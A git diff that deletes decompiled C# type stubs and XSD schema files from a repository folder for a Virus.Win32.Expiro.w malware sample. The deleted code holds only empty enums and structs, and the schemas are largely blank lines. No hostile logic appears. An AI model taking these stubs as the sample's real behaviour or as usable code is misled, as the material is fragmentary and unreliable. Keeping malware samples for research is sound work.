b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs deleted file mode 100644 index a4420c41..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_objidl_0000_0046_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum __MIDL___MIDL_itf_objidl_0000_0046_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs deleted file mode 100644 index f4f39115..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_objidl_0000_0046_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_objidl_0000_0046_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs deleted file mode 100644 index fd6fff9b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_structuredquery_0000_0013_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_structuredquery_0000_0013_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__enative_startup_state.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__enative_startup_state.cs deleted file mode 100644 index 8169f49b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__enative_startup_state.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __enative_startup_state -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __enative_startup_state -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_iobuf.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_iobuf.cs deleted file mode 100644 index 0efa7d6c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_iobuf.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _iobuf -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct _iobuf -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ldiv_t.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ldiv_t.cs deleted file mode 100644 index 16d8e832..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ldiv_t.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ldiv_t -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _ldiv_t -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagACENUMOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagACENUMOPTION.cs deleted file mode 100644 index 0bed8f5c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagACENUMOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagACENUMOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _tagACENUMOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagAUTOCOMPLETELISTOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagAUTOCOMPLETELISTOPTIONS.cs deleted file mode 100644 index 2ab413f2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagAUTOCOMPLETELISTOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagAUTOCOMPLETELISTOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagAUTOCOMPLETELISTOPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagAUTOCOMPLETEOPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagAUTOCOMPLETEOPTIONS.cs deleted file mode 100644 index 25709327..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagAUTOCOMPLETEOPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagAUTOCOMPLETEOPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagAUTOCOMPLETEOPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagINTERNETFEATURELIST.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagINTERNETFEATURELIST.cs deleted file mode 100644 index 67e578bb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagINTERNETFEATURELIST.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagINTERNETFEATURELIST -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _tagINTERNETFEATURELIST -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagOIBDG_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagOIBDG_FLAGS.cs deleted file mode 100644 index 86f9b976..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagOIBDG_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagOIBDG_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _tagOIBDG_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPARSEACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPARSEACTION.cs deleted file mode 100644 index f52b6116..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPARSEACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPARSEACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _tagPARSEACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPI_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPI_FLAGS.cs deleted file mode 100644 index 837522d6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPI_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPI_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagPI_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPSUACTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPSUACTION.cs deleted file mode 100644 index 8242650d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPSUACTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagPSUACTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _tagPSUACTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagQUERYOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagQUERYOPTION.cs deleted file mode 100644 index 223a63f9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagQUERYOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _tagQUERYOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _tagQUERYOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/addressing.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/addressing.xsd deleted file mode 100644 index b0c6780f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/addressing.xsd +++ /dev/null @@ -1,144 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/addressing04.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/addressing04.xsd deleted file mode 100644 index 6f66e747..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/addressing04.xsd +++ /dev/null @@ -1,133 +0,0 @@ - - - - - - - - - - - - - - - - - If "Policy" elements from namespace "http://schemas.xmlsoap.org/ws/2002/12/policy#policy" are used, they must appear first (before any extensibility elements). - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/gcroot_003CSystem_003A_003AString ^_003E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/gcroot_003CSystem_003A_003AString ^_003E.cs deleted file mode 100644 index 41c852b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/gcroot_003CSystem_003A_003AString ^_003E.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: gcroot -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/identity.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/identity.xsd deleted file mode 100644 index 27c63856..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/identity.xsd +++ /dev/null @@ -1,434 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/localeinfo_struct.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/localeinfo_struct.cs deleted file mode 100644 index e0d149a1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/localeinfo_struct.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: localeinfo_struct -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct localeinfo_struct -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/oasis-200401-wss-wssecurity-secext-1/0.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/oasis-200401-wss-wssecurity-secext-1/0.xsd deleted file mode 100644 index 641798b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/oasis-200401-wss-wssecurity-secext-1/0.xsd +++ /dev/null @@ -1,195 +0,0 @@ - - - - - - - - - This type represents an element with arbitrary attributes. - - - - - - - - - - - This type is used for password elements per Section 4.1. - - - - - - - - - - This type is used for elements containing stringified binary data. - - - - - - - - - - This type represents a username token per Section 4.1 - - - - - - - - - - - A security token that is encoded in binary - - - - - - - - - - A security token key identifier - - - - - - - - - - Typedef to allow a list of usages (as URIs). - - - - - - This global attribute is used to indicate the usage of a referenced or indicated token within the containing context - - - - - This type represents a reference to an external security token. - - - - - - - - This type represents a reference to an embedded security token. - - - - - - - - - - This type is used reference a security token. - - - - - - - - - - - This complexType defines header block to use for security-relevant data directed at a specific SOAP actor. - - - - - The use of "any" is to allow extensibility and different forms of security data. - - - - - - - - This complexType defines a container for elements to be specified from any namespace as properties/parameters of a DSIG transformation. - - - - - The use of "any" is to allow extensibility from any namespace. - - - - - - - - This element defines the wsse:UsernameToken element per Section 4.1. - - - - - This element defines the wsse:BinarySecurityToken element per Section 4.2. - - - - - This element defines a security token reference - - - - - This element defines a security token embedded reference - - - - - This element defines a key identifier reference - - - - - This element defines the wsse:SecurityTokenReference per Section 4.3. - - - - - This element defines the wsse:Security SOAP header element per Section 4. - - - - - This element contains properties for transformations from any namespace, including DSIG. - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/oasis-200401-wss-wssecurity-utility-1/0.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/oasis-200401-wss-wssecurity-utility-1/0.xsd deleted file mode 100644 index f8d74e9c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/oasis-200401-wss-wssecurity-utility-1/0.xsd +++ /dev/null @@ -1,108 +0,0 @@ - - - - - - - -This type defines the fault code value for Timestamp message expiration. - - - - - - - - - - -This global attribute supports annotating arbitrary elements with an ID. - - - - - - -Convenience attribute group used to simplify this schema. - - - - - - - - - -This type is for elements whose [children] is a psuedo-dateTime and can have arbitrary attributes. - - - - - - - - - - - -This type is for elements whose [children] is an anyURI and can have arbitrary attributes. - - - - - - - - - - - - -This complex type ties together the timestamp related elements into a composite type. - - - - - - - - - - - - - - -This element allows Timestamps to be applied anywhere element wildcards are present, -including as a SOAP header. - - - - - - - -This element allows an expiration time to be applied anywhere element wildcards are present. - - - - - - -This element allows a creation time to be applied anywhere element wildcards are present. - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagACTCTXW.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagACTCTXW.cs deleted file mode 100644 index bd733c25..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagACTCTXW.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagACTCTXW -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 32)] -internal struct tagACTCTXW -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagACTIVATEFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagACTIVATEFLAGS.cs deleted file mode 100644 index e8104127..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagACTIVATEFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagACTIVATEFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: 